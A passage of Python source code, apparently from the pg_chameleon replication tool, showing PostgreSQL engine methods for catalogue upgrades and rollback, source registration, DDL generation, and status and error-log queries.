The method assumes there is a database connection active.
"""
self.connect_db()
sql_get = """
SELECT
t_source
FROM
sch_chameleon.t_sources
WHERE
enm_status NOT IN ('ready','stopped')
;
"""
self.pgsql_cur.execute(sql_get)
source_get = self.pgsql_cur.fetchall()
self.disconnect_db()
return source_get
def upgrade_catalogue_v20(self):
"""
The method applies the migration scripts to the replica catalogue version 2.0.
The method checks that all sources are in stopped or ready state.
"""
sql_view = """
CREATE OR REPLACE VIEW sch_chameleon.v_version
AS
SELECT %s::TEXT t_version
;"""
self.connect_db()
sources_active = self.__count_active_sources()
if sources_active[0] == 0:
catalog_version = self.get_catalog_version()
catalog_number = int(''.join([value for value in catalog_version.split('.')]))
self.connect_db()
for migration in self.migrations:
migration_version = migration["version"]
migration_number = int(''.join([value for value in migration_version.split('.')]))
if migration_number>catalog_number:
migration_file_name = '%s/%s' % (self.sql_upgrade_dir, migration["script"])
print("Migrating the catalogue from version %s to version %s" % (catalog_version, migration_version))
migration_data = open(migration_file_name, 'rb')
migration_sql = migration_data.read()
migration_data.close()
self.pgsql_cur.execute(migration_sql)
self.pgsql_cur.execute(sql_view, (migration_version, ))
else:
print('There are sources in running or syncing state. You shall stop all the replica processes before upgrading the catalogue.')
sys.exit()
def upgrade_catalogue_v1(self):
"""
The method upgrade a replica catalogue from version 1 to version 2.
The original catalogue is not altered but just renamed.
All the existing data are transferred into the new catalogue loaded using the create_schema.sql file.
"""
replay_max_rows = 10000
self.__v2_schema = "_sch_chameleon_version2"
self.__current_schema = "sch_chameleon"
self.__v1_schema = "_sch_chameleon_version1"
self.connect_db()
upgrade_possible = True
sql_get_min_max = """
SELECT
sch_chameleon.binlog_max(
ARRAY[
t_binlog_name,
i_binlog_position::text
]
),
sch_chameleon.binlog_min(
ARRAY[
t_binlog_name,
i_binlog_position::text
]
)
FROM
sch_chameleon.t_replica_tables
WHERE
i_id_source=%s
;
"""
sql_migrate_tables = """
WITH t_old_new AS
(
SELECT
old.i_id_source as id_source_old,
new.i_id_source as id_source_new,
new.t_dest_schema
FROM
_sch_chameleon_version1.t_sources old
INNER JOIN (
SELECT
i_id_source,
(jsonb_each_text(jsb_schema_mappings)).value as t_dest_schema
FROM
sch_chameleon.t_sources
) new
ON old.t_dest_schema=new.t_dest_schema
)
INSERT INTO sch_chameleon.t_replica_tables
(
i_id_source,
v_table_name,
v_schema_name,
v_table_pkey,
t_binlog_name,
i_binlog_position,
b_replica_enabled
)
SELECT
id_source_new,
v_table_name,
t_dest_schema,
string_to_array(replace(v_table_pkey[1],'"',''),',') as table_pkey,
bat.t_binlog_name,
bat.i_binlog_position,
't'::boolean as b_replica_enabled
FROM
_sch_chameleon_version1.t_replica_batch bat
INNER JOIN _sch_chameleon_version1.t_replica_tables tab
ON tab.i_id_source=bat.i_id_source
INNER JOIN t_old_new
ON tab.i_id_source=t_old_new.id_source_old
WHERE
NOT bat.b_processed
AND bat.b_started
;
"""
sql_mapping = """
WITH t_mapping AS
(
SELECT json_each_text(%s::json) AS t_sch_map
)
SELECT
mapped_schema=config_schema as match_mapping,
mapped_list,
config_list
FROM
(
SELECT
count(dst.t_sch_map) as mapped_schema,
string_agg((dst.t_sch_map).value,' ') as mapped_list
FROM
t_mapping dst
INNER JOIN sch_chameleon.t_sources src
ON
src.t_dest_schema=(dst.t_sch_map).value
AND src.t_source_schema= (dst.t_sch_map).key
) cnt_map,
(
SELECT
count(t_sch_map) as config_schema,
string_agg((t_sch_map).value,' ') as config_list
FROM
t_mapping
) cnt_cnf
;
"""
self.logger.info("Checking if we need to replay data in the existing catalogue")
sql_check = """
SELECT
src.i_id_source,
src.t_source,
count(log.i_id_event)
FROM
sch_chameleon.t_log_replica log
INNER JOIN sch_chameleon.t_replica_batch bat
ON log.i_id_batch=bat.i_id_batch
INNER JOIN sch_chameleon.t_sources src
ON src.i_id_source=bat.i_id_source
GROUP BY
src.i_id_source,
src.t_source
;
"""
self.pgsql_cur.execute(sql_check)
source_replay = self.pgsql_cur.fetchall()
if source_replay:
for source in source_replay:
id_source = source[0]
source_name = source[1]
replay_rows = source[2]
self.logger.info("Replaying last %s rows for source %s " % (replay_rows, source_name))
continue_loop = True
while continue_loop:
sql_replay = """SELECT sch_chameleon.fn_process_batch(%s,%s);"""
self.pgsql_cur.execute(sql_replay, (replay_max_rows, id_source, ))
replay_status = self.pgsql_cur.fetchone()
continue_loop = replay_status[0]
if continue_loop:
self.logger.info("Still replaying rows for source %s" % ( source_name, ) )
self.logger.info("Checking if the schema mappings are correctly matched")
for source in self.sources:
schema_mappings = json.dumps(self.sources[source]["schema_mappings"])
self.pgsql_cur.execute(sql_mapping, (schema_mappings, ))
config_mapping = self.pgsql_cur.fetchone()
source_mapped = config_mapping[0]
list_mapped = config_mapping[1]
list_config = config_mapping[2]
if not source_mapped:
self.logger.error("Checks for source %s failed. Matched mappings %s, configured mappings %s" % (source, list_mapped, list_config))
upgrade_possible = False
if upgrade_possible:
try:
self.logger.info("Renaming the old schema %s in %s " % (self.__v2_schema, self.__v1_schema))
sql_rename_old = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(self.__current_schema), sql.Identifier(self.__v1_schema))
self.pgsql_cur.execute(sql_rename_old)
self.logger.info("Installing the new replica catalogue " )
self.create_replica_schema()
for source in self.sources:
self.source = source
self.add_source()
self.pgsql_cur.execute(sql_migrate_tables)
for source in self.sources:
self.source = source
self.set_source_id()
self.pgsql_cur.execute(sql_get_min_max, (self.i_id_source, ))
min_max = self.pgsql_cur.fetchone()
max_position = min_max[0]
min_position = min_max[1]
master_data = {}
master_status = []
master_data["File"] = min_position[0]
master_data["Position"] = min_position[1]
master_status.append(master_data)
self.save_master_status(master_status)
master_status = []
master_data["File"] = max_position[0]
master_data["Position"] = max_position[1]
master_status.append(master_data)
self.set_source_highwatermark(master_status, False)
except:
self.rollback_upgrade_v1()
else:
self.logger.error("Sanity checks for the schema mappings failed. Aborting the upgrade")
self.rollback_upgrade_v1()
self.disconnect_db()
def rollback_upgrade_v1(self):
"""
The procedure rollsback the upgrade dropping the schema sch_chameleon and renaming the version 1 to the
"""
sql_check="""
SELECT
count(*)
FROM
information_schema.schemata
WHERE
schema_name=%s
"""
self.pgsql_cur.execute(sql_check, (self.__v1_schema, ))
v1_schema = self.pgsql_cur.fetchone()
if v1_schema[0] == 1:
self.logger.info("The schema %s exists, rolling back the changes" % (self.__v1_schema))
self.pgsql_cur.execute(sql_check, (self.__current_schema, ))
curr_schema = self.pgsql_cur.fetchone()
if curr_schema[0] == 1:
self.logger.info("Renaming the current schema %s in %s" % (self.__current_schema, self.__v2_schema))
sql_rename_current = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(self.__current_schema), sql.Identifier(self.__v2_schema))
self.pgsql_cur.execute(sql_rename_current)
sql_rename_old = sql.SQL("ALTER SCHEMA {} RENAME TO {};").format(sql.Identifier(self.__v1_schema), sql.Identifier(self.__current_schema))
self.pgsql_cur.execute(sql_rename_old)
else:
self.logger.info("The old schema %s does not exists, aborting the rollback" % (self.__v1_schema))
sys.exit()
self.logger.info("Rollback successful. Please note the catalogue version 2 has been renamed to %s for debugging.\nYou will need to drop it before running another upgrade" % (self.__v2_schema, ))
def unregister_table(self, schema, table):
"""
This method is used to remove a table from the replica catalogue.
The table is just deleted from the table sch_chameleon.t_replica_tables.
:param schema: the schema name where the table is stored
:param table: the table name to remove from t_replica_tables
"""
self.logger.info("unregistering table %s.%s from the replica catalog" % (schema, table,))
sql_delete=""" DELETE FROM sch_chameleon.t_replica_tables
WHERE
v_table_name=%s
AND v_schema_name=%s
;
"""
self.pgsql_cur.execute(sql_delete, (table, schema))
def cleanup_source_tables(self):
"""
The method cleans up the tables for active source in sch_chameleon.t_replica_tables.
"""
self.logger.info("deleting all the table references from the replica catalog for source %s " % (self.source,))
sql_delete=""" DELETE FROM sch_chameleon.t_replica_tables
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_delete, (self.i_id_source, ))
def cleanup_table_events(self):
"""
The method cleans up the log events in the source's log tables for the given tables
"""
sql_get_log_tables = """
SELECT
v_log_table
FROM
sch_chameleon.t_sources
WHERE
i_id_source=%s
;
"""
self.pgsql_cur.execute(sql_get_log_tables, (self.i_id_source, ))
log_tables = self.pgsql_cur.fetchone()
list_conditions = []
for schema in self.schema_tables:
for table_name in self.schema_tables[schema]:
table_schema = self.schema_loading[schema]["destination"]
where_cond = "format('%%I.%%I','%s','%s')" % (table_schema, table_name)
list_conditions.append(where_cond)
sql_cleanup = "DELETE FROM sch_chameleon.{} WHERE format('%%I.%%I',v_schema_name,v_table_name) IN (%s) ;" % ' ,'.join(list_conditions)
for log_table in log_tables[0]:
self.logger.debug("Cleaning up log events in log table %s " % (log_table,))
sql_clean_log = sql.SQL(sql_cleanup).format(sql.Identifier(log_table))
self.pgsql_cur.execute(sql_clean_log)
def __count_table_schema(self, table, schema):
"""
The method checks if the table exists in the given schema.
:param table: the table's name
:param schema: the postgresql schema where the table should exist
:return: the count from pg_tables where table name and schema name are the given parameters
:rtype: integer
"""
sql_check = """
SELECT
count(*)
FROM
pg_tables
WHERE
schemaname=%s
AND tablename=%s;
"""
self.pgsql_cur.execute(sql_check, (schema, table ))
count_table = self.pgsql_cur.fetchone()
return count_table[0]
def write_ddl(self, token, query_data, destination_schema):
"""
The method writes the DDL built from the tokenised sql into PostgreSQL.
:param token: the tokenised query
:param query_data: query's metadata (schema,binlog, etc.)
:param destination_schema: the postgresql destination schema determined using the schema mappings.
"""
pg_ddl = self.__generate_ddl(token, destination_schema)
self.logger.debug("Translated query: %s " % (pg_ddl,))
log_table = query_data["log_table"]
insert_vals = (
query_data["batch_id"],
token["name"],
query_data["schema"],
query_data["binlog"],
query_data["logpos"],
pg_ddl
)
sql_insert=sql.SQL("""
INSERT INTO "sch_chameleon".{}
(
i_id_batch,
v_table_name,
v_schema_name,
enm_binlog_event,
t_binlog_name,
i_binlog_position,
t_query
)
VALUES
(
%s,
%s,
%s,
'ddl',
%s,
%s,
%s
)
;
""").format(sql.Identifier(log_table), )
self.pgsql_cur.execute(sql_insert, insert_vals)
def get_tables_disabled(self, format="csv"):
"""
The method returns a CSV or a python list of tables excluded from the replica.
The origin's schema is determined from the source's schema mappings jsonb.
:return: CSV list of tables excluded from the replica
:rtype: text
"""
if format=='csv':
select_clause = """string_agg(format('%s.%s',(t_mappings).key,v_table_name),',') """
elif format=='list':
select_clause = """array_agg(format('%s.%s',(t_mappings).key,v_table_name)) """
sql_get = """
SELECT
%s
FROM
sch_chameleon.t_replica_tables tab
INNER JOIN
(
SELECT
i_id_source,
jsonb_each_text(jsb_schema_mappings) as t_mappings
FROM
sch_chameleon.t_sources
) src
ON
tab.i_id_source=src.i_id_source
AND tab.v_schema_name=(t_mappings).value
WHERE
NOT tab.b_replica_enabled
;
""" % select_clause
self.pgsql_cur.execute(sql_get)
tables_disabled = self.pgsql_cur.fetchone()
return tables_disabled[0]
def swap_source_log_table(self):
"""
The method swaps the sources's log table and returns the next log table stored in the v_log_table array.
The method expects an active database connection.
:return: The t_log_replica's active subpartition
:rtype: text
"""
sql_log_table="""
UPDATE sch_chameleon.t_sources
SET
v_log_table=ARRAY[v_log_table[2],v_log_table[1]]
WHERE
i_id_source=%s
RETURNING
v_log_table[1]
;
"""
self.set_source_id()
self.pgsql_cur.execute(sql_log_table, (self.i_id_source, ))
results = self.pgsql_cur.fetchone()
log_table = results[0]
self.logger.debug("New log table : %s " % (log_table,))
return log_table
def get_batch_data(self):
"""
The method updates the batch status to started for the given source_id and returns the
batch informations.
:return: psycopg2 fetchall results without any manipulation
:rtype: psycopg2 tuple
"""
sql_batch="""
WITH t_created AS
(
SELECT
max(ts_created) AS ts_created
FROM
sch_chameleon.t_replica_batch
WHERE
NOT b_processed
AND NOT b_replayed
AND i_id_source=%s
)
UPDATE sch_chameleon.t_replica_batch
SET
b_started=True
FROM
t_created
WHERE
t_replica_batch.ts_created=t_created.ts_created
AND i_id_source=%s
RETURNING
i_id_batch,
t_binlog_name,
i_binlog_position,
v_log_table,
t_gtid_set
;
"""
self.pgsql_cur.execute(sql_batch, (self.i_id_source, self.i_id_source, ))
return self.pgsql_cur.fetchall()
def drop_replica_schema(self):
"""
The method removes the service schema discarding all the replica references.
The replicated tables are kept in place though.
"""
self.logger.debug("Trying to connect to the destination database.")
self.connect_db()
file_schema = open(self.sql_dir+"drop_schema.sql", 'rb')
sql_schema = file_schema.read()
file_schema.close()
self.pgsql_cur.execute(sql_schema)
def get_catalog_version(self):
"""
The method returns if the replica schema's version
:return: the version string selected from sch_chameleon.v_version
:rtype: text
"""
schema_version = None
sql_version = """
SELECT
t_version
FROM
sch_chameleon.v_version
;
"""
self.connect_db()
try:
self.pgsql_cur.execute(sql_version)
schema_version = self.pgsql_cur.fetchone()
self.disconnect_db()
schema_version = schema_version[0]
except:
schema_version = None
return schema_version
def check_replica_schema(self):
"""
The method checks if the sch_chameleon exists
:return: count from information_schema.schemata
:rtype: integer
"""
sql_check="""
SELECT
count(*)
FROM
information_schema.schemata
WHERE
schema_name='sch_chameleon'
"""
self.pgsql_cur.execute(sql_check)
num_schema = self.pgsql_cur.fetchone()
return num_schema
def check_schema_mappings(self, exclude_current_source=False):
"""
The default is false.
The method checks if there is already a destination schema in the stored schema mappings.
As each schema should be managed by one mapping only, if the method returns None then
the source can be store safely. Otherwise the action. The method doesn't take any decision
leaving this to the calling methods.
The method assumes there is a database connection active.
The method returns a list or none.
If the list is returned then contains the count and the destination schema name
that are already present in the replica catalogue.
:param exclude_current_source: If set to true the check excludes the current source name from the check.
:return: the schema already mapped in the replica catalogue.
:rtype: list
"""
if exclude_current_source:
exclude_id = self.i_id_source
else:
exclude_id = -1
schema_mappings = json.dumps(self.sources[self.source]["schema_mappings"])
if schema_mappings=='null':
print("Schema mapping cannot be empty. Check your configuration file.")
sys.exit()
else:
sql_check = """
WITH t_check AS
(
SELECT
(jsonb_each_text(jsb_schema_mappings)).value AS dest_schema
FROM
sch_chameleon.t_sources
WHERE
i_id_source <> %s
UNION ALL
SELECT
value AS dest_schema
FROM
json_each_text(%s::json)
)
SELECT
count(dest_schema),
dest_schema
FROM
t_check
GROUP BY
dest_schema
HAVING
count(dest_schema)>1
;
"""
self.pgsql_cur.execute(sql_check, (exclude_id, schema_mappings, ))
check_mappings = self.pgsql_cur.fetchone()
return check_mappings
def check_source(self):
"""
The method checks if the source name stored in the class variable self.source is already present.
As this method is used in both add and drop source it just retuns the count of the sources.
Any decision about the source is left to the calling method.
The method assumes there is a database connection active.
"""
sql_check = """
SELECT
count(*)
FROM
sch_chameleon.t_sources
WHERE
t_source=%s;
"""
self.pgsql_cur.execute(sql_check, (self.source, ))
num_sources = self.pgsql_cur.fetchone()
return num_sources[0]
def add_source(self):
"""
The method adds a new source to the replication catalog.
The method calls the function fn_refresh_parts() which generates the log tables used by the replica.
If the source is already present a warning is issued and no other action is performed.
"""
self.logger.debug("Checking if the source %s already exists" % self.source)
self.connect_db()
num_sources = self.check_source()
if num_sources == 0:
check_mappings = self.check_schema_mappings()
if check_mappings:
self.logger.error("Could not register the source %s. There is a duplicate destination schema in the schema mappings." % self.source)
else:
self.logger.debug("Adding source %s " % self.source)
schema_mappings = json.dumps(self.sources[self.source]["schema_mappings"])
source_type = self.sources[self.source]["type"]
log_table_1 = "t_log_replica_%s_1" % self.source
log_table_2 = "t_log_replica_%s_2" % self.source
sql_add = """
INSERT INTO sch_chameleon.t_sources
(
t_source,
jsb_schema_mappings,
v_log_table,
enm_source_type
)
VALUES
(
%s,
%s,
ARRAY[%s,%s],
%s
)
;
"""
self.pgsql_cur.execute(sql_add, (self.source, schema_mappings, log_table_1, log_table_2, source_type))
sql_parts = """SELECT sch_chameleon.fn_refresh_parts() ;"""
self.pgsql_cur.execute(sql_parts)
self.insert_source_timings()
else:
self.logger.warning("The source %s already exists" % self.source)
def drop_source(self):
"""
The method deletes the source from the replication catalogue.
The log tables are dropped as well, discarding any replica reference for the source.
"""
self.logger.debug("Deleting the source %s " % self.source)
self.connect_db()
num_sources = self.check_source()
if num_sources == 1:
sql_delete = """ DELETE FROM sch_chameleon.t_sources
WHERE t_source=%s
RETURNING v_log_table
; """
self.pgsql_cur.execute(sql_delete, (self.source, ))
source_drop = self.pgsql_cur.fetchone()
for log_table in source_drop[0]:
sql_drop = """DROP TABLE sch_chameleon."%s"; """ % (log_table)
try:
self.pgsql_cur.execute(sql_drop)
except:
self.logger.debug("Could not drop the table sch_chameleon.%s you may need to remove it manually." % log_table)
else:
self.logger.debug("There is no source %s registered in the replica catalogue" % self.source)
def get_schema_list(self):
"""
The method gets the list of source schemas for the given source.
The list is generated using the mapping in sch_chameleon.t_sources.
Any change in the configuration file is ignored
The method assumes there is a database connection active.
"""
self.logger.debug("Collecting schema list for source %s" % self.source)
sql_get_schema = """
SELECT
(jsonb_each_text(jsb_schema_mappings)).key
FROM
sch_chameleon.t_sources
WHERE
t_source=%s;
"""
self.pgsql_cur.execute(sql_get_schema, (self.source, ))
schema_list = [schema[0] for schema in self.pgsql_cur.fetchall()]
self.logger.debug("Found origin's replication schemas %s" % ', '.join(schema_list))
return schema_list
def __build_create_table_pgsql(self, table_metadata,table_name, schema, temporary_schema=True):
"""
The method builds the create table statement with any enumeration or composite type associated to the table
using the postgresql's metadata.
The returned value is a dictionary with the optional composite type/enumeration's ddl with the create table without indices or primary keys.
The method assumes there is a database connection active.
:param table_metadata: the column dictionary extracted from the source's information_schema or builty by the sql_parser class
:param table_name: the table name
:param destination_schema: the schema where the table belongs
:return: a dictionary with the optional create statements for enumerations and the create table
:rtype: dictionary
"""
table_ddl = {}
ddl_columns = []
def_columns = ''
if temporary_schema:
destination_schema = self.schema_loading[schema]["loading"]
else:
destination_schema = schema
ddl_head = 'CREATE TABLE "%s"."%s" (' % (destination_schema, table_name)
ddl_tail = ");"
ddl_enum=[]
ddl_composite=[]
for column in table_metadata:
column_name = column["column_name"]
if column["column_default"]:
default_value = column["column_default"]
else:
default_value = ''
if column["not_null"]:
col_is_null="NOT NULL"
else:
col_is_null="NULL"
column_type = column["type_format"]
if column_type == "enum":
enum_type = '"%s"."enum_%s_%s"' % (destination_schema, table_name[0:20], column["column_name"][0:20])
sql_drop_enum = 'DROP TYPE IF EXISTS %s CASCADE;' % enum_type
sql_create_enum = 'CREATE TYPE %s AS ENUM (%s);' % ( enum_type, column["typ_elements"])
ddl_enum.append(sql_drop_enum)
ddl_enum.append(sql_create_enum)
column_type=enum_type
if column_type == "composite":
composite_type = '"%s"."typ_%s_%s"' % (destination_schema, table_name[0:20], column["column_name"][0:20])
sql_drop_composite = 'DROP TYPE IF EXISTS %s CASCADE;' % composite_type
sql_create_composite = 'CREATE TYPE %s AS (%s);' % ( composite_type, column["typ_elements"])
ddl_composite.append(sql_drop_composite)
ddl_composite.append(sql_create_composite)
column_type=composite_type
if column["col_serial"]:
default_value = ''
if column_type == 'bigint':
column_type = 'bigserial'
else:
column_type = 'serial'
default_value = ''
ddl_columns.append('"%s" %s %s %s' % (column_name, column_type, default_value, col_is_null))
def_columns=str(',').join(ddl_columns)
table_ddl["enum"] = ddl_enum
table_ddl["composite"] = ddl_composite
table_ddl["table"] = (ddl_head+def_columns+ddl_tail)
return table_ddl
def __build_create_table_mysql(self, table_metadata,table_name, schema, temporary_schema=True):
"""
The method builds the create table statement with any enumeration associated using the mysql's metadata.
The returned value is a dictionary with the optional enumeration's ddl and the create table without indices or primary keys.
on the destination schema specified by destination_schema.
The method assumes there is a database connection active.
:param table_metadata: the column dictionary extracted from the source's information_schema or builty by the sql_parser class
:param table_name: the table name
:param destination_schema: the schema where the table belongs
:return: a dictionary with the optional create statements for enumerations and the create table
:rtype: dictionary
"""
if temporary_schema:
destination_schema = self.schema_loading[schema]["loading"]
else:
destination_schema = schema
ddl_head = 'CREATE TABLE "%s"."%s" (' % (destination_schema, table_name)
ddl_tail = ");"
ddl_columns = []
ddl_enum=[]
table_ddl = {}
for column in table_metadata:
if column["is_nullable"]=="NO":
col_is_null="NOT NULL"
else:
col_is_null="NULL"
column_type = self.get_data_type(column, schema, table_name)
if column_type == "enum":
enum_type = '"%s"."enum_%s_%s"' % (destination_schema, table_name[0:20], column["column_name"][0:20])
sql_drop_enum = 'DROP TYPE IF EXISTS %s CASCADE;' % enum_type
sql_create_enum = 'CREATE TYPE %s AS ENUM %s;' % ( enum_type, column["enum_list"])
ddl_enum.append(sql_drop_enum)
ddl_enum.append(sql_create_enum)
column_type=enum_type
if column_type == "character varying" or column_type == "character":
column_type="%s (%s)" % (column_type, str(column["character_maximum_length"]))
if column_type == 'numeric':
column_type="%s (%s,%s)" % (column_type, str(column["numeric_precision"]), str(column["numeric_scale"]))
if column["extra"] == "auto_increment":
column_type = "bigserial"
ddl_columns.append( ' "%s" %s %s ' % (column["column_name"], column_type, col_is_null ))
def_columns=str(',').join(ddl_columns)
table_ddl["enum"] = ddl_enum
table_ddl["composite"] = []
table_ddl["table"] = (ddl_head+def_columns+ddl_tail)
return table_ddl
def build_create_index(self, schema, table, index_data):
"""
The method loops over the list index_data and builds a new list with the statements for the indices.
:param destination_schema: the schema where the table belongs
:param table_name: the table name
:param index_data: the index dictionary used to build the create index statements
:return: a list with the alter and create index for the given table
:rtype: list
"""
idx_ddl = {}
table_primary = []
for index in index_data:
table_timestamp = str(int(time.time()))
indx = index["index_name"]
self.logger.debug("Generating the DDL for index %s" % (indx))
index_columns = ['"%s"' % column for column in index["index_columns"]]
non_unique = index["non_unique"]
if indx =='PRIMARY':
pkey_name = "pk_%s_%s_%s " % (table[0:10],table_timestamp, self.idx_sequence)
pkey_def = 'ALTER TABLE "%s"."%s" ADD CONSTRAINT "%s" PRIMARY KEY (%s) ;' % (schema, table, pkey_name, ','.join(index_columns))
idx_ddl[pkey_name] = pkey_def
table_primary = index["index_columns"]
else:
if non_unique == 0:
unique_key = 'UNIQUE'
if table_primary == []:
table_primary = index["index_columns"]
else:
unique_key = ''
index_name='idx_%s_%s_%s_%s' % (indx[0:10], table[0:10], table_timestamp, self.idx_sequence)
idx_def='CREATE %s INDEX "%s" ON "%s"."%s" (%s);' % (unique_key, index_name, schema, table, ','.join(index_columns) )
idx_ddl[index_name] = idx_def
self.idx_sequence+=1
return [table_primary, idx_ddl]
def get_log_data(self, log_id):
"""
The method gets the error log entries, if any, from the replica schema.
:param log_id: the log id for filtering the row by identifier
:return: a dictionary with the errors logged
:rtype: dictionary
"""
self.connect_db()
if log_id != "*":
filter_by_logid = self.pgsql_cur.mogrify("WHERE log.i_id_log=%s", (log_id, ))
else:
filter_by_logid = b""
sql_log = """
SELECT
log.i_id_log,
src.t_source,
log.i_id_batch,
log.v_table_name,
log.v_schema_name,
log.ts_error,
log.t_sql,
log.t_error_message
FROM
sch_chameleon.t_error_log log
LEFT JOIN sch_chameleon.t_sources src
ON src.i_id_source=log.i_id_source
%s
;
""" % (filter_by_logid.decode())
self.pgsql_cur.execute(sql_log)
log_error = self.pgsql_cur.fetchall()
self.disconnect_db()
return log_error
def get_status(self):
"""
The method gets the status for all sources configured in the target database.
:return: a list with the status details
:rtype: list
"""
self.connect_db()
schema_mappings = None
table_status = None
replica_counters = None
if self.source == "*":
source_filter = ""
else:
source_filter = (self.pgsql_cur.mogrify(""" WHERE src.t_source=%s """, (self.source, ))).decode()
self.set_source_id()
sql_counters = """
SELECT
sum(i_replayed) as total_replayed,
sum(i_skipped) as total_skipped,
sum(i_ddl) as total_ddl
FROM
sch_chameleon.t_replica_batch
WHERE
i_id_source=%s;
"""
self.pgsql_cur.execute(sql_counters, (self.i_id_source, ))
replica_counters = self.pgsql_cur.fetchone()
sql_mappings = """
SELECT
(mappings).key as origin_schema,
(mappings).value destination_schema
FROM
(
SELECT
jsonb_each_text(jsb_schema_mappings) as mappings
FROM
sch_chameleon.t_sources
WHERE
t_source=%s
) sch
;
"""
sql_tab_status = """
WITH tab_replica AS
(
SELECT
b_replica_enabled,
v_schema_name,
v_table_name
FROM
sch_chameleon.t_replica_tables tab
INNER JOIN sch_chameleon.t_sources src
ON tab.i_id_source=src.i_id_source
WHERE
src.t_source=%s
)
SELECT
i_order,
i_count,
t_tables
FROM
(
SELECT
0 i_order,
count(*) i_count,
array_agg(format('%%I.%%I',v_schema_name,v_table_name)) t_tables
FROM
tab_replica
WHERE
NOT b_replica_enabled
UNION ALL
SELECT
1 i_order,
count(*) i_count,
array_agg(format('%%I.%%I',v_schema_name,v_table_name)) t_tables
FROM
tab_replica
WHERE
b_replica_enabled
UNION ALL
SELECT
2 i_order,
count(*) i_count,
array_agg(format('%%I.%%I',v_schema_name,v_table_name)) t_tables
FROM
tab_replica
) tab_stat
ORDER BY
i_order
;
"""
self.pgsql_cur.execute(sql_mappings, (self.source, ))
schema_mappings = self.pgsql_cur.fetchall()
self.pgsql_cur.execute(sql_tab_status, (self.source, ))
table_status = self.pgsql_cur.fetchall()
sql_status = """
SELECT
src.i_id_source,
src.t_source as source_name,
src.enm_status as source_status,
CASE
WHEN rec.ts_last_received IS NULL
THEN
'N/A'::text
ELSE
(date_trunc('seconds',now())-ts_last_received)::text
END AS receive_lag,
coalesce(rec.ts_last_received::text,''),
CASE
WHEN rep.ts_last_replayed IS NULL
THEN
'N/A'::text
ELSE
(rec.ts_last_received-rep.ts_last_replayed)::text
END AS replay_lag,
coalesce(rep.ts_last_replayed::text,''),
CASE
WHEN src.b_consistent
THEN
'Yes'
ELSE
'No'
END as consistent_status,
enm_source_type,
coalesce(date_trunc('seconds',ts_last_maintenance)::text,'N/A') as last_maintenance,
coalesce(date_trunc('seconds',ts_last_maintenance+nullif(%%s,'disabled')::interval)::text,'N/A') AS next_maintenance
FROM
sch_chameleon.t_sources src
LEFT JOIN sch_chameleon.t_last_received rec
ON src.i_id_source = rec.i_id_source
LEFT JOIN sch_chameleon.t_last_replayed rep
ON src.i_id_source = rep.i_id_source
%s
;
""" % (source_filter, )
self.pgsql_cur.execute(sql_status, (self.auto_maintenance, ))
configuration_status = self.pgsql_cur.fetchall()
self.disconnect_db()
return [configuration_status, schema_mappings, table_status, replica_counters]
def insert_source_timings(self):
"""
The method inserts the source timings in the tables t_last_received and t_last_replayed.
On conflict sets the replay/receive timestamps to null.
The method assumes there is a database connection active.
"""
self.set_source_id()
sql_replay = """
INSERT INTO sch_chameleon.t_last_replayed
(
i_id_source
)
VALUES
(
%s
)
ON CONFLICT (i_id_source)
DO UPDATE
SET
ts_last_replayed=NULL
;
"""
sql_receive = """
INSERT INTO sch_chameleon.t_last_received
(
i_id_source
)
VALUES
(
%s
)
ON CONFLICT (i_id_source)
DO UPDATE
SET
ts_last_received=NULL
;
"""
self.pgsql_cur.execute(sql_replay, (self.i_id_source, ))
self.pgsql_cur.execute(sql_receive, (self.i_id_source, ))
def generate_default_statements(self, schema, table, column, create_column=None):
"""
The method gets the default value associated with the table and column removing the cast.
:param schema: The schema name
:param table: The table name
:param column: The column name
:return: the statements for dropping and creating default value on the affected table
:rtype: dictionary
"""
if not create_column:
create_column = column
regclass = """ "%s"."%s" """ %(schema, table)
sql_def_val = """
SELECT
(
SELECT
split_part(substring(pg_catalog.pg_get_expr(d.adbin, d.adrelid) for 128),'::',1)
FROM
pg_catalog.pg_attrdef d
WHERE
d.adrelid = a.attrelid
AND d.adnum = a.attnum
AND a.atthasdef
) as default_value
FROM
pg_catalog.pg_attribute a
WHERE
a.attrelid = %s::regclass
AND a.attname=%s
AND NOT a.attisdropped
;
"""
self.pgsql_cur.execute(sql_def_val, (regclass, column ))
default_value = self.pgsql_cur.fetchone()
query_drop_default = b""
query_add_default = b""
if default_value[0]:
query_drop_default = sql.SQL(" ALTER TABLE {}.{} ALTER COLUMN {} DROP DEFAULT;").format(sql.Identifier(schema), sql.Identifier(table), sql.Identifier(column))
query_add_default = sql.SQL(" ALTER TABLE {}.{} ALTER COLUMN {} SET DEFAULT %s;" % (default_value[0])).format(sql.Identifier(schema), sql.Identifier(table), sql.Identifier(column))
query_drop_default = self.pgsql_cur.mogrify(query_drop_default)
query_add_default = self.pgsql_cur.mogrify(query_add_default )
return {'drop':query_drop_default.decode(), 'create':query_add_default.decode()}
def get_data_type(self, column, schema, table):
"""
The method determines whether the specified type has to be overridden or not.
:param column: the column dictionary extracted from the information_schema or built in the sql_parser class
:param schema: the schema name
:param table: the table name
:return: the postgresql converted column type
:rtype: string
"""
if self.type_override:
try:
table_full = "%s.%s" % (schema, table)
type_override = self.type_override[column["column_type"]]
override_to = type_override["override_to"]
override_tables = type_override["override_tables"]
if override_tables[0] == '*' or table_full in override_tables:
column_type = override_to
else:
column_type = self.type_dictionary[column["data_type"]]
except KeyError:
column_type = self.type_dictionary[column["data_type"]]
else:
column_type = self.type_dictionary[column["data_type"]]
return column_type
def set_application_name(self, action=""):
"""
The method sets the application name in the replica using the variable self.pg_conn.global_conf.source_name,
Making simpler to find the replication processes. If the source name is not set then a generic PGCHAMELEON name is used.
"""
if self.source:
app_name = "[pg_chameleon] - source: %s, action: %s" % (self.source, action)
else:
app_name = "[pg_chameleon] - action: %s" % (action)
sql_app_name="""SET application_name=%s; """
self.pgsql_cur.execute(sql_app_name, (app_name , ))
def write_batch(self, group_insert):
"""
Main method for adding the batch data in the log tables.
The row data from group_insert are mogrified in CSV format and stored in
the string like object csv_file.
psycopg2's copy expert is used to store the event data in PostgreSQL.
Should any error occur the procedure fallsback to insert_batch.
:param group_insert: the event data built in mysql_engine
"""
csv_file=io.StringIO()
self.set_application_name("writing batch")
insert_list=[]
for row_data in group_insert:
global_data=row_data["global_data"]
event_after=row_data["event_after"]
event_before=row_data["event_before"]
log_table=global_data["log_table"]
